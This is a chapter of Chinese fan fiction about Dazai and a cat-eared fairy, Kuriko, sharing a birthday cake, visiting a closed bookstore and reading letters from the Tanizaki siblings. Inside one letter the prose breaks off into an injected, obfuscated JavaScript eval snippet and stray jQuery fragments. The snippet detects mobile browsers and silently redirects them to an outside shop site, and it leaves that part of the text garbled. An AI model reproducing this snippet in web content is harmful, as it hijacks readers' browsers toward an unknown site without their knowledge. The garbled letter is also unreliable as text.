“我回来了～”
卧室的门被推开，太宰闻声抬头，只见栗子探出脑袋，又从门缝里灵活地滑了进来。一锁上房门，她手中就出现了一个洒满了奥利奥饼干碎的巧克力蛋糕。
太宰站起身，接过蛋糕，有些新奇地颠了颠它：“居然还是冷的！”
“在我的空间里，时间是静止的。”栗子解释了一句，又坐在他身边，凑到他身上闻了闻，“你洗过澡了？”
太宰捏起自己的衣领，笑了一下：“今天在办公室留得比较久。我可不希望栗子忍受着首领的味道吃蛋糕。”
据栗子所说，那是一种腐朽又充满疾病的味道，让人想到在阴湿处腐烂的老树根。
“你把信交给森先生了吧。他怎么说？”
“他好像被吓到了。”栗子歪着头想了想，“还说你在报复他。这是怎么回事？”
“嗯……”太宰停顿了一会儿，到底没好意思把医务室里发生的事说出来，便轻描淡写地掠过了这个话题。
“要点蜡烛吗？”他指着蛋糕问。
“这是你的生日，你来决定。”栗子说。
太宰翻出三根蜡烛，依次插在蛋糕上，将它们点燃。
“为什么是三根？”栗子不解地问，“我记得你应该是十一岁。”
“不管是几岁生日，都可以只插三根哦。”太宰回答，“过去、现在和未来，这是不论在什么时候都会拥有的。”
“那葬礼上就只能插一根了。”栗子说。
“没错。”太宰说。他看着晃动的烛光，又若有所思地补充道：“不过……我想人们一般不会像庆祝生日一样庆祝死亡。”
他们关上灯，室内变得昏暗。烛火的柔光映照着他们的面孔，也映照着蛋糕上太宰的名字。
太宰的眼神迷惘了一瞬。
好像是时候许愿了，他想。
他曾经度过很多个这样的时刻，在公馆里，在家人的仆从的注视中。从那时起，他就已经是个熟练的演员。尽管心里没有任何高兴的感觉，却能做出幸福的模样，骗了他们很多年。
……那现在呢？
太宰眨了下眼睛，看着燃烧的蜡烛，忽然伏下身，一口气吹灭了蜡烛。
“你许了什么愿望？”栗子好奇地问。
“是秘密哦。”太宰在黑暗中露出微笑，抬起手摸了摸自己的耳朵，“说出来就不灵验了。”
他们打开灯，将蛋糕外层的巧克力壳敲碎，露出里面夹着奶油和饼干碎的蛋糕胚。
“我给你准备了礼物。”栗子翻手拿出一只小巧的木雕。
一个年幼的男孩抱着猫咪，坐在纸箱里。正如他们初见时的情景。
太宰新奇地接过木雕，捧在手心。
“这是你做的吗？”
“当然。怎么可能让别人做呢？”栗子对他的问题有些不满。
“不，我的意思是……这看起来很精致，我从来没有想过……”
“从来没有想过我会做？”栗子耳朵上的毛微微蓬开。
“不是……”太宰哽了一下，“好吧，确实没有想过。栗子总是有很多超出我想像的能力。除了设定好程序的雕刻机，我想不出还有什么人能雕刻出这样复杂又精细的木雕。”
精细到连眼睫毛和发尾细碎的弧度都还原了。
太宰对自己的身体还是很熟悉的。如果蛇妖美杜莎现在给他来一眼，变成石雕后的他就和这个木雕一模一样。
“其实是我在你睡着的时候偷偷对着你刻的。”栗子晃了晃耳朵，露出调皮的笑容，“不过，现在的我已经对你的外貌了如指掌，就算不看着你也能做出来。”
“怪不得这个我闭着眼睛……”太宰嘀咕着。
他左右看了看，思考了一会儿，将木雕摆在床头柜上。
“这个可以沾水吗？”他问。
“木头沾水会发霉哦，最好不要。”栗子说。
“那我该怎么清洁它？”太宰问，又小声补充道：“……放在外面总会沾灰的。”
“用干燥的毛刷刷掉就好了。”栗子说。
太宰点了点头，看着床头柜上的木雕，又忍不住拿过来摆弄。
小人怀中的小猫看起来十分毛茸茸，他伸出手指，在猫咪背上轻轻摸了一下。
当然，这只猫是硬的。
“明天是栗子的生日。”太宰说，“但我没办法准备礼物呢。可以明年再一起送给你吗？”
按照森先生最新的安排，明年这个时候，他应该就可以出去了。
“好啊。”栗子高兴地竖起耳朵，“那我明年就可以收到两份礼物！”
这副期待的模样让太宰感受到了一点压力。栗子送给他的东西，他很喜欢，但他该送什么才能让栗子拥有等量的喜欢呢？
怀着这样的困扰，太宰和栗子一起吃完蛋糕，收拾桌子，将栗子送回她的卧室，心不在焉地躺在了床上。
躺了一会儿，他又伸出手，打开台灯，凝视着桌上的木雕。
木雕小人微垂着头，闭着眼睛，脸上带着一抹淡笑。
就像在做一场美梦。
*
松本已经很久没去过那家书店了。
他还在上中学的时候就已经是那里的常客，那时柜台后面的店员还是一位清癯的老先生。他有着花白的头发，穿着浅棕色的老钱风外套，总是戴着单片眼镜，好像从出生开始就戴着它。
不久后，书店关门了。几个月后又再次开门，店员变成一位年轻女性，又变成一位兼职的大学生。那位大学生在书店工作了很多年，毕业后去了其他城市，书店再次歇业。当松本也成为一名大学生的时候，一位白发苍苍的女士来到书店，成为了书店的新店员。
松本惊讶地发现，她就是他就读的那所大学的教授，紧接着又发现她的丈夫——松本少年时期见过的那位老先生，就是这家店的店主，而老先生去世后，奥尔加女士接管了这家书店。
她身上背负着繁重的研究任务和教学任务，正因如此，书店总是没办法稳定营业。
过了一年，奥尔加女士也消失了。
当苦恼着如何还书的松本终于接到书店打来的电话时，店员已经变成了一个十岁的小男孩。
那段时间发生了很多事。
港口Mafia的部队又一次在首领的授意下对普通民众出手，书店所在的街道不幸卷入了武装冲突。一位能控制植物的异能力者保护了那条街道，成为首领的眼中钉。
松本自小在组织里长大，目睹了首领从一位野心勃勃的领导者变成一位年迈的暴君的全过程，他太清楚如今的老首领会采取什么手段了。
好在那个恐怖的未来并没有发生。
医生应该找到了那个异能力者。
但是……
这家书店为什么关门了？
松本站在书店门口，纳闷地看着橱窗里“歇业中”的牌子。
难道那孩子放假了？去上学了？
他在门口转了一圈，忽而看到门边的信箱，便从信箱的洞口往里看。
信箱里有几只崭新的信封。
就在他眯起眼，准备将信封上的落款看得更清楚时，有人走到了他身边。
“松本先生？”
松本吃了一惊，转过头，一个头上有两只猫耳的女孩站在他面前。
她穿着在这个天气稍显炎热的圆领短衫，腰部束着白色布条，身姿挺拔，一双金绿色的眼睛直直地望着他。
松本不知该先惊讶于她的名字，还是惊讶于她这副不同寻常的打扮，不过很快他就想起来，自己曾经见过这个女孩。
就在这家书店。
她似乎和小店员关系不错。
“啊，你好。”松本朝她伸出手，“我好像还不知道你的名字。”
“栗子。”栗子回答，伸出手和他轻轻握了一下。
“你知道太宰去哪里了吗？”松本开门见山地问道。
栗子看着他。
松本是情报部的成员。但他好像不知道最近组织里的人员变动。
“太宰有事离开了，最近一段时间都不会回来。”她说，“你找他有什么事？”
“也没什么，只是问问。”松本说，接着看向书店紧闭的大门。
“又关门了啊……那有找到新的店员吗？”
“没有。”
松本耸了耸肩，似乎有点失望。
“好吧。”他说，“我还想着暑假能不能在这里看书呢。”
栗子点了点头作为回复。
松本看着橱窗。
一时间，谁也没说话。
过了一会儿，松本见栗子还站在这里，便说：“你能联系到太宰吧？信箱里有几封信，寄信人可能也不知道他离开了。跟他说一下吧，别错过重要信息。”
听了这话，栗子走到信箱跟前，踮起脚往里看了一眼。
里面果然有几封信。信封上浮动着熟悉的灵。
“谢谢。”栗子说。她把手伸进口袋，从灵质空间里召唤出信箱钥匙，打开信箱。
“他把钥匙交给你了？”松本顿时一愣。
“对。书店的钥匙也在我手里。”栗子看他一眼，说，“我会来这里维护书籍。”
……
“太宰，有你的信哦。”
“信？有谁会给我写信？”太宰一脸困惑地拿起信封。
“原来是安吾啊……”
“还有谷崎和直美。”栗子补充道。
太宰拿起另外两封信，又将其中一封递给栗子。
“这一封是给你的。”
栗子拆开信封。
【to：栗子
谢谢你那天送我们回家！<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924176|211752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
我们有在很认真地保守秘密哦，绝对不会告诉别人！
我们又来到书店，但是你不在。如果你看到这封信，可以来找我们吗？妈妈做了很好吃的冰淇淋，我们想请你吃。】
想到那种甜点冰凉的口感，栗子感觉有点心动。
“确实到了吃冰淇淋的季节呢。”太宰撑着下巴，含着点笑意说，“不知道厨房会不会给我们加餐？”他又露出丧气的表情。“反正不会给我。毕竟我可是一个肠.胃.脆.弱、需要健康饮食的小孩。”
“你肠胃脆弱吗？”栗子惊讶地抬起头。她从来都不知道这件事！
“当然不是了。只是首领那无数误会中的其中之一。”太宰说。
“你在他面前到底是什么形象啊……”栗子感叹着。
太宰耸了耸肩，不在意地说：“我想让他怎么认为，我就是什么形象。”
他埋头拆开信封，取出自己的信。
首先是谷崎兄妹的。
【to：太宰哥哥
好久没有见到你了，听说你去做很重要的事了。加油哦！我也在做重要的事：准备钢琴考级！
（字迹变了，太宰猜想那应该是直美）
我们班上有个男生喜欢我，哥哥很不高兴。
我不喜欢那个男生，拒绝了他，但他一直追着我不放。哥哥和他打了一架。
有什么办法能让那个男生死心吗？
（字迹再次变化）
还记得之前我说的魔法师吗！我最近才发现，那就是我的能力！
我可以让周围下雪，下雪会盖住我们，别人看不见。就像隐形衣一样。
我的脑海里总有一个声音告诉我，它叫『细雪』。
感觉是很好听的名字，直美也很喜欢。
你可能暂时没办法收到信，但我们会一直等你的。
祝你生活愉快，一切顺利！】
太宰拿着信纸，表情一时有些发懵。如果直美问他学业上的问题，或是如何应对校园霸.凌，他能给出很多解法。但这种感情问题……
谷崎兄妹已经把他能想到的解法都尝试过了。
而且，小直美好像才六岁吧？
“异能力都是有名字的吗？”栗子的关注点则在信纸的后半部分，“太宰，你的异能力叫什么名字？”
太宰回过神来，答道：“人间失格。”
栗子眨了眨眼睛，品味了一下这个名字。
“在我意识到我拥有异能力的那一刻，它就出现了。”太宰说，“谷崎君的情况也验证了这一点。异能力者不是在异能力觉醒的那一刻得知它的名字，而是在意识到自己拥有异能力的时候才得知它的名字。”
栗子不由得好奇地打量起他的身体，仿佛想从他的身体中看到一个名叫“人间失格”的能量体。
“在我们妖精的灵视中，每个人的灵都是独一无二的。”她说，“异能力的颜色就是异能者的灵的颜色。我本来以为这只是个巧合，但是最近遇见的很多异能力者都是这样。”
“我是什么颜色？”太宰好奇地问。
“是一种接近白色的天青色，就像晨曦将至时日出那一侧的颜色。”栗子说。
“听起来还不错。”太宰微微一笑，“那栗子是什么颜色？”
“是新芽的绿色哦。”栗子摊开手掌，一株绿芽缓缓冒出。
她将另一只手按在太宰肩上，从他肩上勾出一团灵质。
太宰只能看到一个透明的小球。
“这就是……我？”
他伸出手指，戳了戳那个小球。
小球一下子溃散了。
栗子又勾了一团出来。
“你没有观灵能力，只能看到透明色。不过这其实就是灵质本来的颜色。准确来说，我看到的颜色不是真正的颜色，只是一种特质，或者说，一种感觉。”
她将手心朝上，那团灵质在她手中缓缓浮动。太宰这一次没有伸手触碰，只是安静地看着它。
“没有哪个词语能准确定义这种感觉，妖精的词典里也没有。所以如果要形容它，只能用对其他事物的感受。”她举起手，透明的灵质在她手中流动起来，“有点像晨光熹微时的天空，又有点像穿过街道的海风。这就是我对你的灵的感受。”
“我在想一件事。”太宰沉思着开口。“妖精能抽走灵质，对吧？还能让它具象化。那么……这种灵质到底是像气味一样的存在，还是像血液一样的存在？”
栗子沉默了一会儿。
“你就在想这种事吗……”
“诶？”
“那可是我好不容易想到的描述！”栗子的耳朵耷拉下来，“你都不表示一下……”
“嗯，那，那我应该怎么表示呢？”太宰眨了下眼。
“……”
“至少夸我一下吧！”